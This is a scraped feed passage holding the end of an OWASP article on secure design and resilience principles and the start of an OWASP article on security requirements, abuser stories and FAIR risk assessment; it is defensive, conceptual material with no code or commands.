&lt;p&gt;As you can see, we are not only authenticating and authorising our services automatically here, but also following the previous principle of minimum privilege, which is an integral part of the zero trust architecture.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fail Securely
&lt;/h3&gt;

&lt;p&gt;No one is 100% safe from system failure. Failure can be caused by &lt;strong&gt;software errors&lt;/strong&gt;, &lt;strong&gt;hardware failures&lt;/strong&gt;, &lt;strong&gt;misconfigurations&lt;/strong&gt;, and &lt;strong&gt;external attacks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is very important to us that the system, in the event of a failure, instead of going into an erroneous state, can either handle it correctly, or remain in a state where it &lt;strong&gt;will not give out information&lt;/strong&gt; about its internals.&lt;/p&gt;

&lt;p&gt;Attackers often try to cause a system to fail just to get technical details about it. Gathering information about the system is the very first step in illegitimate actions against the infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Improper error handling&lt;/strong&gt; often results in an error stacktrace being returned back in the response, and this, depending on the context, can give away information about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The framework on which the application is developed&lt;/li&gt;
&lt;li&gt;The server on which the application is based&lt;/li&gt;
&lt;li&gt;The internal structure of the application&lt;/li&gt;
&lt;li&gt;The database structure (if the error is related to it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, this can lead to revealing important information about the structure of the entire system.&lt;br&gt;
A failure can be called safe if, as a result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No technical details about the system have been released&lt;/li&gt;
&lt;li&gt;The integrity and confidentiality of data in the system was not compromised&lt;/li&gt;
&lt;li&gt;The system continued to operate smoothly&lt;/li&gt;
&lt;li&gt;All information about it was logged for further analysis&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We will cover practices for secure error handling in detail in the &lt;strong&gt;Secure Coding Principles&lt;/strong&gt; article.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defence in Depth
&lt;/h3&gt;

&lt;p&gt;It would look strange if the system was protected by one thing. A system cannot be secure even if we have designed and coded the application correctly, but the security of the environment in which it runs is lame.&lt;br&gt;
Conversely, what good is a secure environment if we have a leaky application?&lt;/p&gt;

&lt;p&gt;A system is considered secure if it provides security at &lt;strong&gt;each&lt;/strong&gt; layer of the network, correctly identifies intrusion attempts, and responds to &lt;strong&gt;incidents&lt;/strong&gt; in a timely manner.&lt;br&gt;
This principle implies that defences should be layered and security professionals should develop measures appropriate to their expertise.&lt;/p&gt;

&lt;p&gt;For example, a network security specialist (&lt;strong&gt;NetSec&lt;/strong&gt;) should provide &lt;strong&gt;network segmentation&lt;/strong&gt;, raise and configure &lt;strong&gt;IDS&lt;/strong&gt; and &lt;strong&gt;IPS&lt;/strong&gt; to filter and block malicious traffic, and install firewalls (&lt;strong&gt;Firewall&lt;/strong&gt;).&lt;br&gt;
The &lt;strong&gt;AppSec&lt;/strong&gt; professional must develop defence techniques at the application level, including the application of secure programming principles.&lt;/p&gt;

&lt;p&gt;Thus, if an intruder bypasses one layer of protection, it is up to the next layer to prevent unauthorised access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Audit and Logging
&lt;/h3&gt;

&lt;p&gt;Remember the office we described at the beginning? Usually offices have some for of &lt;strong&gt;phsyical access control&lt;/strong&gt; like door controls with security badges and recorded surveillance.&lt;br&gt;
Now imagine that the office has decided not to record people's entrances and exits, the cameras are not working, and valuable items have gone missing from the office.&lt;/p&gt;

&lt;p&gt;Of course we know that the things were stolen, but why should we know about the fact of the theft if we can't find out who did it or how it was done. Now it's important that we don't allow this to happen in our system.&lt;/p&gt;

&lt;p&gt;Failure to properly audit and log actions in systems violates one of the principles of information security - &lt;strong&gt;non-repudiation&lt;/strong&gt;. It implies that a party cannot deny the fact of its participation in an action. Also their absence doesn't allow us to notice a problem in the system in time.&lt;/p&gt;

&lt;p&gt;For effective auditing and logging, the following concepts should be introduced into our system as a minimum:&lt;/p&gt;

&lt;h4&gt;
  
  
  Security Events
&lt;/h4&gt;

&lt;p&gt;This type of event will include all activities that relate to system security, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Successful/unsuccessful authentication attempts&lt;/li&gt;
&lt;li&gt;Attempts to access a protected resource&lt;/li&gt;
&lt;li&gt;Any abnormal activity (e.g. account access attempts exceeded)&lt;/li&gt;
&lt;li&gt;Changes in user access rights&lt;/li&gt;
&lt;li&gt;Access to critical files/systems&lt;/li&gt;
&lt;li&gt;Any information from security systems on different layers of the network (e.g. IDS and IPS).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To manage these events, we need to have an appropriate system called &lt;strong&gt;SIEM&lt;/strong&gt; (Security Information and Event Management).&lt;br&gt;
One of the best open-source solutions is &lt;a href="https://wazuh.com/" rel="noopener noreferrer"&gt;Wazuh&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Error Events
&lt;/h4&gt;

&lt;p&gt;The name speaks for itself. These are error events that occur in our system and in the services of this system.&lt;br&gt;
It includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Connection failures (e.g. to databases)&lt;/li&gt;
&lt;li&gt;Network errors like connection failure&lt;/li&gt;
&lt;li&gt;Performance problems (e.g. timeouts)&lt;/li&gt;
&lt;li&gt;Failed attempts to send/receive messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And any other internal application errors/exceptions.&lt;br&gt;
Often, especially in small teams, instead of centralised error event handlers, they use a conditional &lt;code&gt;logs&lt;/code&gt; folder where they store event logs by day.&lt;/p&gt;

&lt;p&gt;This is really convenient if you are only testing 1 service locally and want to quickly see what's going on. This method is also insecure as without a central authority who automatically receives logs the logs can be tampered with by either the external or potentially even an internal threat actor. But if you're already testing the whole system, or going into production mode, it's much preferable to use centralised error trackers.&lt;br&gt;
Our favourite is &lt;a href="https://sentry.io" rel="noopener noreferrer"&gt;Sentry&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It is much more convenient to have all the information about errors of different services in the system, all the information about performance problems in one place, isn't it?&lt;/p&gt;

&lt;h3&gt;
  
  
  Principles of simplified and open security
&lt;/h3&gt;

&lt;p&gt;We have determined that a system is secure if the right preventative measures are in place at every layer.&lt;br&gt;
But when implementing security systems, there are 3 basic principles to keep in mind:&lt;/p&gt;

&lt;h4&gt;
  
  
  Secure by Default
&lt;/h4&gt;

&lt;p&gt;Systems and applications should be built from the ground up to be secure out of the box without additional configuration.&lt;br&gt;
This principle is needed first and foremost to avoid human error.&lt;/p&gt;

&lt;p&gt;You can see an example of how this principle is implemented in your browser. For example, popular browsers with no additional configuration include features that block pop-up windows, have phishing protection, have in-built warnings (error reporting) for users if it is experiencing atypical behavior, and use &lt;strong&gt;HTTPS&lt;/strong&gt; by default.&lt;/p&gt;

&lt;h4&gt;
  
  
  Open Design
&lt;/h4&gt;

&lt;p&gt;Never base your security system on the principle of &lt;strong&gt;security through obscurity&lt;/strong&gt;. Knowing the security architecture in our system should not give an attacker the ability to compromise it.&lt;/p&gt;

&lt;p&gt;This is the same principle we apply in cryptography and is known as the &lt;strong&gt;Kerckhoffs's Principle&lt;/strong&gt;. It is as follows:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The security of a cryptographic system should not depend on the secrecy of the algorithm, but on the secrecy of the key.&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  KISS
&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;(Keep It Simple Stupid)&lt;/em&gt; is a principle that states that a system and its components should be as simple and easy to understand as possible.&lt;br&gt;
Simpler systems are easier to understand and defend. Indeed, by implementing complex and incomprehensible systems, you are more likely to hinder yourself, and you will not be able to protect it effectively.&lt;/p&gt;

&lt;p&gt;The same principle should be applied not only in our software architecture, but also in our application code. This will make it much easier for us to maintain it.&lt;/p&gt;

&lt;p&gt;For example, if we have one big monolithic application, it is better to use the principle of &lt;em&gt;"Divide and Conquer"&lt;/em&gt; and divide it into microservices.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Cyber-resilient security systems
&lt;/h2&gt;

&lt;p&gt;Understanding security design principles helps us build systems that are secure against many attack vectors, including both external and internal threats.&lt;/p&gt;

&lt;p&gt;But beyond security, we need to make sure that our security system is &lt;strong&gt;resilient&lt;/strong&gt;. To understand how to make it resilient, let's look at the &lt;strong&gt;Strategic&lt;/strong&gt; and &lt;strong&gt;Structural&lt;/strong&gt; principles of security system resilience:&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategic Principles
&lt;/h3&gt;

&lt;p&gt;Under strategic principles, we refer to those principles that guide the overall security and resilience strategy of a system. Among these, 5 main principles stand out:&lt;/p&gt;

&lt;h4&gt;
  
  
  Focus on shared critical resources
&lt;/h4&gt;

&lt;p&gt;Remember in the previous article we described Security &amp;amp; Abuser stories? With their help, we were able to identify which resources are critical in the first place.&lt;br&gt;
Organisational and software resources are often limited (or rather almost always), accordingly they should be focused on those resources first, where they will bring the most value.&lt;/p&gt;

&lt;h4&gt;
  
  
  Support flexibility and architect for adaptability
&lt;/h4&gt;

&lt;p&gt;Security is not something you can just implement according to a conditional checklist and forget about. It is an iterative process and our system must always be ready to be modified in response to new threats and changes in the technology environment. Our goal is to design the system from the beginning so that the cost of change is minimised.&lt;/p&gt;

&lt;p&gt;To follow this principle, try to take a &lt;strong&gt;modular&lt;/strong&gt; approach. Divide the system into modules, and try to minimise the dependencies between them. The &lt;strong&gt;KISS&lt;/strong&gt; principle described before will help a lot with this.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reducing attack surfaces
&lt;/h4&gt;

&lt;p&gt;Attack surfaces are the places in the system through which an attacker will try to penetrate our system. These can be not only services that go out to the network, but also &lt;strong&gt;human resources&lt;/strong&gt;. After all, an attacker can exploit vulnerabilities not only in the systems aspect, but also by attacking specific people who may have access to the system.&lt;/p&gt;

&lt;p&gt;Our goal in this case is to minimise the places an attacker can approach and focus on layering their protection.&lt;br&gt;
Our best friends are the principles of Least Privilege, Defence in Depth and Zero Trust.&lt;/p&gt;

&lt;h4&gt;
  
  
  Any resource can be compromised
&lt;/h4&gt;

&lt;p&gt;When designing systems, we shouldn't assume anything is 100% secure. We should always approach component security from the back end, and design everything so that the damage due to potential compromise is minimised.&lt;/p&gt;

&lt;p&gt;Furthermore, systems must remain capable of meeting performance and quality requirements even if some of their components are compromised.&lt;br&gt;
Strategies for addressing incidents and response after a breach, as well as recovery in the event of compromise, must be developed in advance.&lt;/p&gt;

&lt;h4&gt;
  
  
  Attackers evolve
&lt;/h4&gt;

&lt;p&gt;Cybercriminals are constantly evolving their attack methods and approaches. They often do so faster than the level of overall security is compensating for. When designing your security measures, try to ask the question &lt;em&gt;"how can this be bypassed?"&lt;/em&gt; in addition to analysing &lt;em&gt;"what does this protect against?"&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;To avoid falling prey to attackers, we need to design security measures several steps ahead and analyse new potential attack vectors when we introduce changes to our system. Moreover, &lt;strong&gt;cyber-intelligence&lt;/strong&gt; is a very good practice to stay up to date with the latest security trends and attack methods.&lt;/p&gt;

&lt;h3&gt;
  
  
  Structural Principles
&lt;/h3&gt;

&lt;p&gt;The strategic principles described before drive the structural principles we apply to the system. We will describe &lt;strong&gt;9&lt;/strong&gt; key principles that will ensure that our architecture and the security mechanisms within it are resilient.&lt;/p&gt;

&lt;h4&gt;
  
  
  Limit the need for trust
&lt;/h4&gt;

&lt;p&gt;Systems are comprised of and work with both technical, physical, and intangible components and the fewer components that need to be trusted, the better for system security. In the context of services, &lt;strong&gt;Zero Trust&lt;/strong&gt; and the principle of least privilege will help us maintain system security. &lt;/p&gt;

&lt;p&gt;In our simplified example in section 1 that considered Zero Trust architecture, we utilized HashiCorp Vault, making our trust component the temporary identity token that is given by Vault after service authentication. To further support security best practices, the trust component &lt;strong&gt;identity token&lt;/strong&gt; has the TTL expiration set with a short life making it more secure. &lt;/p&gt;

&lt;h4&gt;
  
  
  Control visibility and usage
&lt;/h4&gt;

&lt;p&gt;This principle aims to prevent an attacker exploring the system either internally or externally.&lt;br&gt;
Below, we define 3 conditions under which we should apply it:\&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;When the data must be protected from unauthorised access:\
We encrypt this data for storage and transmission, or tokenise and obfuscate it.&lt;/li&gt;
&lt;li&gt;When it is necessary to complicate the analysis of network traffic:\
Here we use a technique known as "Chaffing &amp;amp; Winnowing", simply talking, we add noise to the traffic and to the transmitted data.&lt;/li&gt;
&lt;li&gt;When it is necessary to protect the development process and supply chain:\
This is in the area of &lt;strong&gt;OPSEC&lt;/strong&gt; competence. But as a rule of thumb, the principles we know such as the &lt;strong&gt;Minimum Privilege Principle&lt;/strong&gt; and encryption of transmitted data are applied.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Contain and exclude behaviours
&lt;/h4&gt;

&lt;p&gt;This principle helps to control and restrict the behaviour of systems and their components to prevent undesirable actions and minimise the harm caused by them. Our goal is to control the actions of attackers, even if they were able to penetrate the system. We must limit &lt;strong&gt;what&lt;/strong&gt; they can do and &lt;strong&gt;where&lt;/strong&gt; they can get to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exclude unacceptable behaviour&lt;/strong&gt;:&lt;br&gt;
We can define the kinds of behaviours that &lt;strong&gt;should not&lt;/strong&gt; happen. Let's take a trivial example from the CRM of a typical company who has standard working hours. If the company's opening hours are from 08:00-18:00, then logically, we could prohibit any logins to the system outside of this period.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Content of suspicious behaviour&lt;/strong&gt;:&lt;br&gt;
The principle is insanely simple. If any suspicious behaviour is detected, we should create an isolated environment where we can analyse it. For example, if a suspicious file is downloaded, we can run it in a separate sandbox to analyse it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic Segmentation and Isolation&lt;/strong&gt;:&lt;br&gt;
Let's imagine that suspicious traffic is detected. The system needs to redirect this traffic to an isolated environment where we can safely analyse it in order to exclude potential harm.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to properly study behavioural patterns and automatic detection of suspicious activity, it is good practice to raise a separate isolated environment known as a &lt;strong&gt;Honeypots&lt;/strong&gt;. In this environment, we will be able to analyse what the attacker wants to do and understand their train of thought.&lt;/p&gt;

&lt;h4&gt;
  
  
  Plan and manage diversity
&lt;/h4&gt;

&lt;p&gt;I've described the importance of the &lt;strong&gt;KISS&lt;/strong&gt; principle in architecture and security systems before, but there are cases where intentional complexity has benefits. One example describes this principle - namely the danger of &lt;strong&gt;homogeneous&lt;/strong&gt; systems. It's important to strike a balance here:&lt;/p&gt;

&lt;p&gt;Diversity helps protect the system from attacks that might be successful against homogeneous systems. Using a variety of technologies and methods reduces the likelihood that one vulnerability will compromise the entire system.&lt;/p&gt;

&lt;p&gt;For example, critical services can use different operating systems on which they run so that a single vulnerability cannot be exploited on both. This is especially relevant if &lt;strong&gt;Buffer Overflow&lt;/strong&gt; style vulnerabilities are suddenly discovered, where the success of instruction execution is highly dependent on the architecture on which the application and OS are running.&lt;br&gt;
Different OS and architectures may handle memory differently, making it difficult to exploit the same vulnerability on different systems.&lt;/p&gt;

&lt;p&gt;Recent events have shown how dangerous homogeneous systems are. Due to a security update failure from CrowdStrike, many companies around the world faced serious problems. When you are dependent on one vendor, problems with that vendor can affect a lion share of infrastructure at once, as happened with airlines and banks. That's why it's important to use different technologies and vendors to mitigate risks and avoid global disruptions.&lt;/p&gt;

&lt;h4&gt;
  
  
  Maintain redundancy
&lt;/h4&gt;

&lt;p&gt;Remember the third principle of the CIA triad - &lt;strong&gt;availability&lt;/strong&gt; that we talked about in the first article? Availability ensures that all systems and users have access to what they require and redundancy helps avoid system downtime due to failures and malfunctions. If one component fails, another component can take over its functions, ensuring system continuity.&lt;/p&gt;

&lt;p&gt;We often apply redundancy when we want to &lt;strong&gt;balance&lt;/strong&gt; activity on a server. Designing a component of the system to support &lt;strong&gt;horizontal scaling&lt;/strong&gt; will simply allow a second such component to be started if one component fails, or is disabled due to failure.&lt;/p&gt;

&lt;h4&gt;
  
  
  Manage resources adaptively
&lt;/h4&gt;

&lt;p&gt;We want our system to be flexible, don't we? If so, then the environment in which it operates should &lt;strong&gt;adapt&lt;/strong&gt; to real-time changes. It should react quickly to changes and minimise the effects of disruptions including failures.&lt;/p&gt;

&lt;p&gt;For example, in the case of threat detection, firewall and security rules can change in response to intrusions or anomalous behavior. For example, if it is noticed that a user tries to log in from an unknown location, even if the login user name and password is correct, we need to authenticate them additionally (e.g. via email) because their abnormal location prompted our controls to altert us of this behavior.&lt;/p&gt;

&lt;h4&gt;
  
  
  Determine current reliability
&lt;/h4&gt;

&lt;p&gt;Do not rely on the stability of components over time, but rather check their current reliability on a regular basis. This includes periodic verification, continuous monitoring to detect and remediate potentially malicious behaviour in time.&lt;/p&gt;

&lt;p&gt;It's also good practice to conduct penetration tests of your system regularly to make sure they withstand current threats and stay secure over time. One of our favourites for pentesting is &lt;strong&gt;OWASP ZAP&lt;/strong&gt;. We'll learn how to pen test systems effectively in the &lt;strong&gt;Security in Testing&lt;/strong&gt; article.&lt;/p&gt;

&lt;h4&gt;
  
  
  Modify or disrupt the attack surface
&lt;/h4&gt;

&lt;p&gt;In the case where an attacker uses an attack surface (conventionally attacking one of our services), we can think of ways to make it harder for them to succeed.&lt;/p&gt;

&lt;p&gt;This includes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dynamic change of system configurations (e.g. change of system IP addresses).&lt;/li&gt;
&lt;li&gt;Moving important data and services between different physical or virtual locations.&lt;/li&gt;
&lt;li&gt;Creating false targets, such as honeypots.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For example, let's imagine that an attacker has launched a DDoS attack. One of the most effective methodologies that I believe is not just filtering traffic, but using the &lt;strong&gt;IP Hopper&lt;/strong&gt; mechanism.&lt;br&gt;
According to this methodology, all legitimate traffic should be redirected to a server that is not under attack, while illegitimate traffic literally attacks &lt;em&gt;emptiness&lt;/em&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Make the effects of deception and unpredictability transparent to the user
&lt;/h4&gt;

&lt;p&gt;Finally the last structural principle for building resilient systems. Throughout this article, we have learnt many security mechanisms that can be designed and applied.&lt;/p&gt;

&lt;p&gt;The idea behind this principle is that it is the attackers who should be challenged by our security mechanisms. Mechanisms should not interrupt the continuity of our system for legitimate users.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, we have reviewed key principles of secure design and methods for ensuring its resilience.&lt;/p&gt;

&lt;p&gt;We walked through the eight principles of secure design:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Principle of least privilege - Systems and its components should have as many rights as they need and no more.&lt;/li&gt;
&lt;li&gt;Zero Trust Principle - Don't trust services and users, even if they are inside the corporate network, without verification.&lt;/li&gt;
&lt;li&gt;Fail Securely - Handle failures in such a way that they do not give away internal system information.&lt;/li&gt;
&lt;li&gt;Defence in Depth - Security cannot be built from a single layer.&lt;/li&gt;
&lt;li&gt;Auditing and Logging - Auditing, logging of security events, and real-time error tracking.&lt;/li&gt;
&lt;li&gt;Secure by Default - Systems should not require additional configuration to be secure.&lt;/li&gt;
&lt;li&gt;Open Design - The security of the system should not depend on the secrecy of its implementation.&lt;/li&gt;
&lt;li&gt;KISS - Don't overcomplicate the system, making it harder to defend.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Learned strategic principles of sustainability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Focus on shared critical resources&lt;/li&gt;
&lt;li&gt;Support flexibility and adaptability&lt;/li&gt;
&lt;li&gt;Reducing attack surfaces&lt;/li&gt;
&lt;li&gt;Assumption of resource compromise&lt;/li&gt;
&lt;li&gt;Accounting for the evolution of attack methods&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And we deconstructed the structural principles of resilience:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Limiting the need for trust&lt;/li&gt;
&lt;li&gt;Control of visibility and utilisation&lt;/li&gt;
&lt;li&gt;Containing and excluding undesirable behaviours&lt;/li&gt;
&lt;li&gt;Diversity planning and management&lt;/li&gt;
&lt;li&gt;Maintaining redundancy&lt;/li&gt;
&lt;li&gt;Adaptive resource management&lt;/li&gt;
&lt;li&gt;Determining current reliability&lt;/li&gt;
&lt;li&gt;Modifying or breaking the attack surface&lt;/li&gt;
&lt;li&gt;Transparency of the effects of deception and unpredictability on users&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Thus, by following secure design principles and system resilience principles, we can design a truly secure architecture that is ready to provide protection in the aggressive external world.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>architecture</category>
    </item>
    <item>
      <title>Security in Requirements phase</title>
      <dc:creator>Martin Belov</dc:creator>
      <pubDate>Mon, 01 Jul 2024 18:46:07 +0000</pubDate>
      <link>https://forem.com/owasp/security-in-requirements-phase-33ad</link>
      <guid>https://forem.com/owasp/security-in-requirements-phase-33ad</guid>
      <description>&lt;p&gt;Building requirements is one of the first steps in the SDLC, where we define the goals and objectives of our future application. Usually, at this phase, we collect relevant stakeholders and start discussing their needs and expectations. We talk to people who will use the application, those who will manage it, and anyone else who might be affected by it to understand what they want the application to do and how it should work.&lt;/p&gt;

&lt;p&gt;After reading this article, we will understand how to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prepare Security Requirements&lt;/li&gt;
&lt;li&gt;Properly classify and rate threats&lt;/li&gt;
&lt;li&gt;Use a language of money in the risk assessment and prioritization&lt;/li&gt;
&lt;li&gt;Make sure, that defined security requirements will be implemented during other steps of SDLC&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;During requirements engineering, we need to separate &lt;strong&gt;functional&lt;/strong&gt; and &lt;strong&gt;security&lt;/strong&gt; requirements. While functional requirements show what an application &lt;strong&gt;should do&lt;/strong&gt;, security requirements show what an application &lt;strong&gt;shouldn't do&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It's important to carefully consider building security requirements because a large part of the system's security depends on them. Good security requirement follows &lt;strong&gt;SMART&lt;/strong&gt; principle:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;S&lt;/strong&gt;pecific&lt;/td&gt;
&lt;td&gt;Requirement shouldn't be complex and too broad, but exact and clear.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;M&lt;/strong&gt;easurable&lt;/td&gt;
&lt;td&gt;There should be a clear way to test if this requirement was met or not.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;A&lt;/strong&gt;chievable&lt;/td&gt;
&lt;td&gt;Developers should have a clear understanding of actions they need to take in order to meet the requirement.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;R&lt;/strong&gt;elevant&lt;/td&gt;
&lt;td&gt;Requirement should ensure it addresses actual risks and provide meaningful protection, avoiding measures, that don't add values.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;T&lt;/strong&gt;ime-bound&lt;/td&gt;
&lt;td&gt;There should be a clear timeframe for implementation of this security requirement.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Usually, stakeholders involved in security requirements engineering are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Developers&lt;/li&gt;
&lt;li&gt;Security experts&lt;/li&gt;
&lt;li&gt;Project Managers/Architects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of them can participate in one of the ways to build security requirements: &lt;strong&gt;Security&lt;/strong&gt; and &lt;strong&gt;Abuser&lt;/strong&gt; stories.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Stories
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;As a [role], I want [security feature], so that [benefit]&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Security stories are a special type of user stories, that focus on the security of the system.&lt;br&gt;&lt;br&gt;
You should look at the application from the perspective of users and stakeholders &lt;strong&gt;who need protection&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;As a developer, I want to ensure that all passwords are stored with strong hashing algorithm so that even if the database is compromised, the passwords remain secure.&lt;/li&gt;
&lt;li&gt;As a system administrator, I want to log all access to sensitive data so that we can audit and identify any unauthorized access.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Abuser Stories
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;As a [bad guy], I want to [do something bad]&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Abuser stories are the opposite of security stories. Here you need to think like an &lt;strong&gt;attacker&lt;/strong&gt;, finding the ways you can &lt;strong&gt;exploit&lt;/strong&gt; an application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;As an attacker, I want to perform a brute force attack on the login page to gain access to user accounts.&lt;/li&gt;
&lt;li&gt;As an attacker, I want to intercept data transmitted over the network to steal sensitive information.&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;So, security and abuser stories allow us to look at the application from both points of view: the user's and the attacker's.&lt;br&gt;&lt;br&gt;
It is a &lt;strong&gt;proactive&lt;/strong&gt; approach, that provides a detailed and scenario-based understanding of security requirements.&lt;/p&gt;

&lt;p&gt;Now we need a comprehensive way to ensure our critical assets and potential risks are managed.&lt;br&gt;
For this, we can use the &lt;strong&gt;FAIR&lt;/strong&gt; model:&lt;/p&gt;

&lt;h2&gt;
  
  
  Factor analysis of information risk (FAIR)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;FAIR&lt;/strong&gt; is a methodology, that helps to assess and manage informational risk in a &lt;strong&gt;financial&lt;/strong&gt; terms.&lt;br&gt;&lt;br&gt;
It includes the following core steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Threat&lt;/strong&gt; and &lt;strong&gt;Critical Asset&lt;/strong&gt; identification - defining valuable assets of the application and identifying related threats for them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contact Frequency (СF)&lt;/strong&gt; assessment - calculating how frequently the vulnerability interacts with critical asset&lt;/li&gt;
&lt;li&gt;Calculating &lt;strong&gt;Probability of Action (PoA)&lt;/strong&gt; - finding the probability that asset would be attacked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Threat Event Frequency (TEF)&lt;/strong&gt; assessment - multiplication of &lt;strong&gt;CF&lt;/strong&gt; and &lt;strong&gt;POA&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability (Vuln)&lt;/strong&gt; assessment - the probability that the attack on the asset would be successful&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Loss Event Frequency (LEF)&lt;/strong&gt; assessment - multiplication of &lt;strong&gt;TEF&lt;/strong&gt; x &lt;strong&gt;Vuln&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Defining &lt;strong&gt;Loss Magnitude (LM)&lt;/strong&gt; - calculating &lt;strong&gt;Primary Losses&lt;/strong&gt; (actual damage in a result of the attack)
and &lt;strong&gt;Secondary Losses&lt;/strong&gt; (reputation, litigation losses)&lt;/li&gt;
&lt;li&gt;Calculating &lt;strong&gt;Overall&lt;/strong&gt; risk - multiplication of &lt;strong&gt;LEF&lt;/strong&gt; x &lt;strong&gt;LM&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Sounds a bit hard, right? As &lt;strong&gt;FAIR&lt;/strong&gt; is just &lt;strong&gt;methodology&lt;/strong&gt;, not &lt;strong&gt;framework&lt;/strong&gt;, there are no concrete ways of &lt;strong&gt;how&lt;/strong&gt; you should calculate risks.  &lt;/p&gt;

&lt;p&gt;But using simple &lt;strong&gt;Threat Modeling&lt;/strong&gt; techniques, we can cover most of these steps:&lt;/p&gt;

&lt;h3&gt;
  
  
  Threat Modeling
&lt;/h3&gt;

&lt;p&gt;Threat modeling allows us to &lt;strong&gt;identify&lt;/strong&gt; and &lt;strong&gt;rate&lt;/strong&gt; threats.&lt;br&gt;&lt;br&gt;
